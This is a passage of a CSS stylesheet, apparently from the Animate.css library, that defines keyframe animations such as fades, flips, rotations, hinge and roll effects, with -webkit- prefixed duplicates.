	45% {
		opacity: 1;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
}
@keyframes bounceOutUp {
	20% {
		-webkit-transform: translate3d(0, -10px, 0);
		transform: translate3d(0, -10px, 0)
	}
	40%,
	45% {
		opacity: 1;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
}
.bounceOutUp {
	-webkit-animation-name: bounceOutUp;
	animation-name: bounceOutUp
}
@-webkit-keyframes fadeIn {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
@keyframes fadeIn {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
.fadeIn {
	-webkit-animation-name: fadeIn;
	animation-name: fadeIn
}
@-webkit-keyframes fadeInDown {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInDown {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInDown {
	-webkit-animation-name: fadeInDown;
	animation-name: fadeInDown
}
@-webkit-keyframes fadeInDownBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInDownBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInDownBig {
	-webkit-animation-name: fadeInDownBig;
	animation-name: fadeInDownBig
}
@-webkit-keyframes fadeInLeft {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInLeft {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInLeft {
	-webkit-animation-name: fadeInLeft;
	animation-name: fadeInLeft
}
@-webkit-keyframes fadeInLeftBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInLeftBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInLeftBig {
	-webkit-animation-name: fadeInLeftBig;
	animation-name: fadeInLeftBig
}
@-webkit-keyframes fadeInRight {
	from {
		opacity: 0;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInRight {
	from {
		opacity: 0;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInRight {
	-webkit-animation-name: fadeInRight;
	animation-name: fadeInRight
}
@-webkit-keyframes fadeInRightBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInRightBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInRightBig {
	-webkit-animation-name: fadeInRightBig;
	animation-name: fadeInRightBig
}
@-webkit-keyframes fadeInUp {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInUp {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInUp {
	-webkit-animation-name: fadeInUp;
	animation-name: fadeInUp
}
@-webkit-keyframes fadeInUpBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes fadeInUpBig {
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.fadeInUpBig {
	-webkit-animation-name: fadeInUpBig;
	animation-name: fadeInUpBig
}
@-webkit-keyframes fadeOut {
	from {
		opacity: 1
	}
	to {
		opacity: 0
	}
}
@keyframes fadeOut {
	from {
		opacity: 1
	}
	to {
		opacity: 0
	}
}
.fadeOut {
	-webkit-animation-name: fadeOut;
	animation-name: fadeOut
}
@-webkit-keyframes fadeOutDown {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
}
@keyframes fadeOutDown {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
}
.fadeOutDown {
	-webkit-animation-name: fadeOutDown;
	animation-name: fadeOutDown
}
@-webkit-keyframes fadeOutDownBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
}
@keyframes fadeOutDownBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
}
.fadeOutDownBig {
	-webkit-animation-name: fadeOutDownBig;
	animation-name: fadeOutDownBig
}
@-webkit-keyframes fadeOutLeft {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
}
@keyframes fadeOutLeft {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
}
.fadeOutLeft {
	-webkit-animation-name: fadeOutLeft;
	animation-name: fadeOutLeft
}
@-webkit-keyframes fadeOutLeftBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
}
@keyframes fadeOutLeftBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
}
.fadeOutLeftBig {
	-webkit-animation-name: fadeOutLeftBig;
	animation-name: fadeOutLeftBig
}
@-webkit-keyframes fadeOutRight {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
}
@keyframes fadeOutRight {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
}
.fadeOutRight {
	-webkit-animation-name: fadeOutRight;
	animation-name: fadeOutRight
}
@-webkit-keyframes fadeOutRightBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
}
@keyframes fadeOutRightBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
}
.fadeOutRightBig {
	-webkit-animation-name: fadeOutRightBig;
	animation-name: fadeOutRightBig
}
@-webkit-keyframes fadeOutUp {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
}
@keyframes fadeOutUp {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
}
.fadeOutUp {
	-webkit-animation-name: fadeOutUp;
	animation-name: fadeOutUp
}
@-webkit-keyframes fadeOutUpBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
}
@keyframes fadeOutUpBig {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, -2000px, 0);
		transform: translate3d(0, -2000px, 0)
	}
}
.fadeOutUpBig {
	-webkit-animation-name: fadeOutUpBig;
	animation-name: fadeOutUpBig
}
@-webkit-keyframes flip {
	from {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
		-webkit-animation-timing-function: ease-out;
		animation-timing-function: ease-out
	}
	40% {
		-webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);
		transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);
		-webkit-animation-timing-function: ease-out;
		animation-timing-function: ease-out
	}
	50% {
		-webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);
		transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	80% {
		-webkit-transform: perspective(400px) scale3d(.95, .95, .95);
		transform: perspective(400px) scale3d(.95, .95, .95);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
}
@keyframes flip {
	from {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
		-webkit-animation-timing-function: ease-out;
		animation-timing-function: ease-out
	}
	40% {
		-webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);
		transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);
		-webkit-animation-timing-function: ease-out;
		animation-timing-function: ease-out
	}
	50% {
		-webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);
		transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	80% {
		-webkit-transform: perspective(400px) scale3d(.95, .95, .95);
		transform: perspective(400px) scale3d(.95, .95, .95);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
}
.animated.flip {
	-webkit-backface-visibility: visible;
	backface-visibility: visible;
	-webkit-animation-name: flip;
	animation-name: flip
}
@-webkit-keyframes flipInX {
	from {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in;
		opacity: 0
	}
	40% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	60% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
		opacity: 1
	}
	80% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -5deg)
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
}
@keyframes flipInX {
	from {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in;
		opacity: 0
	}
	40% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	60% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
		opacity: 1
	}
	80% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -5deg)
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
}
.flipInX {
	-webkit-backface-visibility: visible !important;
	backface-visibility: visible !important;
	-webkit-animation-name: flipInX;
	animation-name: flipInX
}
@-webkit-keyframes flipInY {
	from {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in;
		opacity: 0
	}
	40% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	60% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
		opacity: 1
	}
	80% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -5deg)
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
}
@keyframes flipInY {
	from {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in;
		opacity: 0
	}
	40% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
		-webkit-animation-timing-function: ease-in;
		animation-timing-function: ease-in
	}
	60% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
		opacity: 1
	}
	80% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -5deg)
	}
	to {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
}
.flipInY {
	-webkit-backface-visibility: visible !important;
	backface-visibility: visible !important;
	-webkit-animation-name: flipInY;
	animation-name: flipInY
}
@-webkit-keyframes flipOutX {
	from {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
	30% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		opacity: 1
	}
	to {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		opacity: 0
	}
}
@keyframes flipOutX {
	from {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
	30% {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
		opacity: 1
	}
	to {
		-webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
		opacity: 0
	}
}
.flipOutX {
	-webkit-animation-name: flipOutX;
	animation-name: flipOutX;
	-webkit-backface-visibility: visible !important;
	backface-visibility: visible !important
}
@-webkit-keyframes flipOutY {
	from {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
	30% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
		opacity: 1
	}
	to {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		opacity: 0
	}
}
@keyframes flipOutY {
	from {
		-webkit-transform: perspective(400px);
		transform: perspective(400px)
	}
	30% {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
		transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
		opacity: 1
	}
	to {
		-webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
		opacity: 0
	}
}
.flipOutY {
	-webkit-backface-visibility: visible !important;
	backface-visibility: visible !important;
	-webkit-animation-name: flipOutY;
	animation-name: flipOutY
}
@-webkit-keyframes lightSpeedIn {
	from {
		-webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
		transform: translate3d(100%, 0, 0) skewX(-30deg);
		opacity: 0
	}
	60% {
		-webkit-transform: skewX(20deg);
		transform: skewX(20deg);
		opacity: 1
	}
	80% {
		-webkit-transform: skewX(-5deg);
		transform: skewX(-5deg);
		opacity: 1
	}
	to {
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes lightSpeedIn {
	from {
		-webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
		transform: translate3d(100%, 0, 0) skewX(-30deg);
		opacity: 0
	}
	60% {
		-webkit-transform: skewX(20deg);
		transform: skewX(20deg);
		opacity: 1
	}
	80% {
		-webkit-transform: skewX(-5deg);
		transform: skewX(-5deg);
		opacity: 1
	}
	to {
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.lightSpeedIn {
	-webkit-animation-name: lightSpeedIn;
	animation-name: lightSpeedIn;
	-webkit-animation-timing-function: ease-out;
	animation-timing-function: ease-out
}
@-webkit-keyframes lightSpeedOut {
	from {
		opacity: 1
	}
	to {
		-webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
		transform: translate3d(100%, 0, 0) skewX(30deg);
		opacity: 0
	}
}
@keyframes lightSpeedOut {
	from {
		opacity: 1
	}
	to {
		-webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
		transform: translate3d(100%, 0, 0) skewX(30deg);
		opacity: 0
	}
}
.lightSpeedOut {
	-webkit-animation-name: lightSpeedOut;
	animation-name: lightSpeedOut;
	-webkit-animation-timing-function: ease-in;
	animation-timing-function: ease-in
}
@-webkit-keyframes rotateIn {
	from {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: rotate3d(0, 0, 1, -200deg);
		transform: rotate3d(0, 0, 1, -200deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes rotateIn {
	from {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: rotate3d(0, 0, 1, -200deg);
		transform: rotate3d(0, 0, 1, -200deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.rotateIn {
	-webkit-animation-name: rotateIn;
	animation-name: rotateIn
}
@-webkit-keyframes rotateInDownLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes rotateInDownLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.rotateInDownLeft {
	-webkit-animation-name: rotateInDownLeft;
	animation-name: rotateInDownLeft
}
@-webkit-keyframes rotateInDownRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes rotateInDownRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.rotateInDownRight {
	-webkit-animation-name: rotateInDownRight;
	animation-name: rotateInDownRight
}
@-webkit-keyframes rotateInUpLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes rotateInUpLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.rotateInUpLeft {
	-webkit-animation-name: rotateInUpLeft;
	animation-name: rotateInUpLeft
}
@-webkit-keyframes rotateInUpRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, -90deg);
		transform: rotate3d(0, 0, 1, -90deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
@keyframes rotateInUpRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, -90deg);
		transform: rotate3d(0, 0, 1, -90deg);
		opacity: 0
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: none;
		transform: none;
		opacity: 1
	}
}
.rotateInUpRight {
	-webkit-animation-name: rotateInUpRight;
	animation-name: rotateInUpRight
}
@-webkit-keyframes rotateOut {
	from {
		-webkit-transform-origin: center;
		transform-origin: center;
		opacity: 1
	}
	to {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: rotate3d(0, 0, 1, 200deg);
		transform: rotate3d(0, 0, 1, 200deg);
		opacity: 0
	}
}
@keyframes rotateOut {
	from {
		-webkit-transform-origin: center;
		transform-origin: center;
		opacity: 1
	}
	to {
		-webkit-transform-origin: center;
		transform-origin: center;
		-webkit-transform: rotate3d(0, 0, 1, 200deg);
		transform: rotate3d(0, 0, 1, 200deg);
		opacity: 0
	}
}
.rotateOut {
	-webkit-animation-name: rotateOut;
	animation-name: rotateOut
}
@-webkit-keyframes rotateOutDownLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
}
@keyframes rotateOutDownLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, 45deg);
		transform: rotate3d(0, 0, 1, 45deg);
		opacity: 0
	}
}
.rotateOutDownLeft {
	-webkit-animation-name: rotateOutDownLeft;
	animation-name: rotateOutDownLeft
}
@-webkit-keyframes rotateOutDownRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
}
@keyframes rotateOutDownRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
}
.rotateOutDownRight {
	-webkit-animation-name: rotateOutDownRight;
	animation-name: rotateOutDownRight
}
@-webkit-keyframes rotateOutUpLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
}
@keyframes rotateOutUpLeft {
	from {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: left bottom;
		transform-origin: left bottom;
		-webkit-transform: rotate3d(0, 0, 1, -45deg);
		transform: rotate3d(0, 0, 1, -45deg);
		opacity: 0
	}
}
.rotateOutUpLeft {
	-webkit-animation-name: rotateOutUpLeft;
	animation-name: rotateOutUpLeft
}
@-webkit-keyframes rotateOutUpRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, 90deg);
		transform: rotate3d(0, 0, 1, 90deg);
		opacity: 0
	}
}
@keyframes rotateOutUpRight {
	from {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		opacity: 1
	}
	to {
		-webkit-transform-origin: right bottom;
		transform-origin: right bottom;
		-webkit-transform: rotate3d(0, 0, 1, 90deg);
		transform: rotate3d(0, 0, 1, 90deg);
		opacity: 0
	}
}
.rotateOutUpRight {
	-webkit-animation-name: rotateOutUpRight;
	animation-name: rotateOutUpRight
}
@-webkit-keyframes hinge {
	0% {
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out
	}
	20%,
	60% {
		-webkit-transform: rotate3d(0, 0, 1, 80deg);
		transform: rotate3d(0, 0, 1, 80deg);
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out
	}
	40%,
	80% {
		-webkit-transform: rotate3d(0, 0, 1, 60deg);
		transform: rotate3d(0, 0, 1, 60deg);
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out;
		opacity: 1
	}
	to {
		-webkit-transform: translate3d(0, 700px, 0);
		transform: translate3d(0, 700px, 0);
		opacity: 0
	}
}
@keyframes hinge {
	0% {
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out
	}
	20%,
	60% {
		-webkit-transform: rotate3d(0, 0, 1, 80deg);
		transform: rotate3d(0, 0, 1, 80deg);
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out
	}
	40%,
	80% {
		-webkit-transform: rotate3d(0, 0, 1, 60deg);
		transform: rotate3d(0, 0, 1, 60deg);
		-webkit-transform-origin: top left;
		transform-origin: top left;
		-webkit-animation-timing-function: ease-in-out;
		animation-timing-function: ease-in-out;
		opacity: 1
	}
	to {
		-webkit-transform: translate3d(0, 700px, 0);
		transform: translate3d(0, 700px, 0);
		opacity: 0
	}
}
.hinge {
	-webkit-animation-name: hinge;
	animation-name: hinge
}
@-webkit-keyframes rollIn {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
		transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes rollIn {
	from {
		opacity: 0;
		-webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
		transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg)
	}
	to {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.rollIn {
	-webkit-animation-name: rollIn;
	animation-name: rollIn
}
@-webkit-keyframes rollOut {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
		transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg)
	}
}
@keyframes rollOut {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
